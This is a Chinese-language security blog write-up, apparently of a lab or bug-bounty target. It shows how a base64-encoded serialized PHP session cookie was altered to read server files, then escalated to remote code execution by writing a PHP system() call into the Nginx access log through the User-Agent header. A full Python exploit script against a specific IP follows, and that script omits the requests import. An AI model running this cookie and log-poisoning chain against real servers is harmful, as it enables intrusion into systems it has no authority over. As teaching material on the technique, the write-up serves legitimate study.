在某個網絡應用程序上進行長達數小時的信息收集及‘偵查’后,Cookie引起了白帽小哥的注意。
PHPSESSID -PHPSESSID Cookie是PHP原生,使網站能夠存儲序列化的狀態數據。它用于建立用戶會話,并通過臨時Cookie(通常稱為會話Cookie)傳遞狀態數據。(關閉瀏覽器時過期)。通常使用Base64編碼格式

提示:盡量嘗試解碼一切可以解碼的東西
可以使用在線網站,如base64decode.org進行解碼:

也可通過Python解碼:

為什么s=15?那是因為/www/index.html 的長度剛好是15(熟悉PHP反序列化的童鞋們肯定不陌生)
LFI漏洞
Local File Inclusion是一種攻擊技術,攻擊者可以欺騙Web應用程序在Web服務器上運行或暴露文件。LFI攻擊可能會暴露敏感信息,在嚴重的情況下,它們可能會導致跨站點腳本(XSS)和遠程代碼執行。
那么如果我們將/www/index. html替換為/etc/passwd會怎樣?
通過python將修改后的Cookie發送,看看結果:

當然,也可以通過Burp來修改Cookie:

從LFI升級至RCE
遠程代碼執行(RCE)攻擊允許攻擊者在計算機上遠程執行惡意代碼。RCE漏洞的影響范圍可以從惡意軟件執行到攻擊者獲得對受害機器的完全控制。
從LFI漏洞升級到RCE的最簡單方法是日志‘投毒’
日志投毒或日志注入是一種允許攻擊者篡改日志文件內容的技術,例如將惡意代碼插入服務器日志以遠程執行命令或反彈Shell。只有當應用程序存在LFI漏洞時,它才有效。
在本案例中由于無法獲取反彈Shell,因此只能嘗試使用 "ls -lsa"-"ls -l" 列出目錄。
LFI漏洞只允許讀取/執行文件,而無法寫入或創建新文件,那么我們要如何注入呢?可以考慮把日志添加到服務器文件中。
首先,我們需要知道服務器是哪種類型:

Nginx!那么日志一般會存放于/var/log/nginx/access.log
同樣使用使用Python腳本來嘗試訪問日志文件:

很好!那么讓我們看看是否可以通過使用“User-Agent”來添加日志。
在python腳本中,添加如下內容:
headers = {'User-Agent': 'Facundo Fernandez'}

查看響應:

很棒!那么嘗試改成:
headers = {'User-Agent': "<?php system('ls -lsa');?>"
成功執行!

完整的python代碼如下:
import base64
# Importing the base64 module, which is used for encoding and decoding base64 data.
# Creating a byte string that mimics a serialized PHP object.
# This could be used to exploit object injection vulnerabilities in PHP applications.
malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
print('Malicious Cookie:', malicious_cookie)
# Printing the created malicious byte string (cookie) for demonstration.
# Encoding the malicious cookie using base64.
# This is necessary because cookies are usually base64-encoded during HTTP communication.
malicious_cookie_encoded = base64.b64encode(malicious_cookie)
print('Malicious cookie encoded:', malicious_cookie_encoded)
# Printing the base64-encoded version of the malicious cookie.
# Our Target
# This should be a URL under your control or where you have permission to test.
url = 'http://142.93.32.153:31043'
# Creating a cookies dictionary with the 'PHPSESSID' as the key and the encoded malicious cookie as the value.
cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}
# Creating a headers dictionary, attempting to pass PHP code in the User-Agent header.
# The intention here is to test for Remote Code Execution (RCE) by trying to get the server to execute the 'ls' command.
headers = {'User-Agent': "<?php system('ls -lsa');?>"}
# Sending a GET request to the specified URL with the malicious cookies and headers.
r = requests.get(url, cookies=cookies, headers=headers)
print(r.text)
# Printing the response text from the server.
# If the server is vulnerable and executes the code, you might see the result of the 'ls -lsa' command in the response.
generic
1.62 KB
? Guge's Blog
007bug
FreeBuf
ManageEngine卓豪
007bug
007bug
007bug
上官雨寶
上官雨寶
安全客
007bug
LemonSec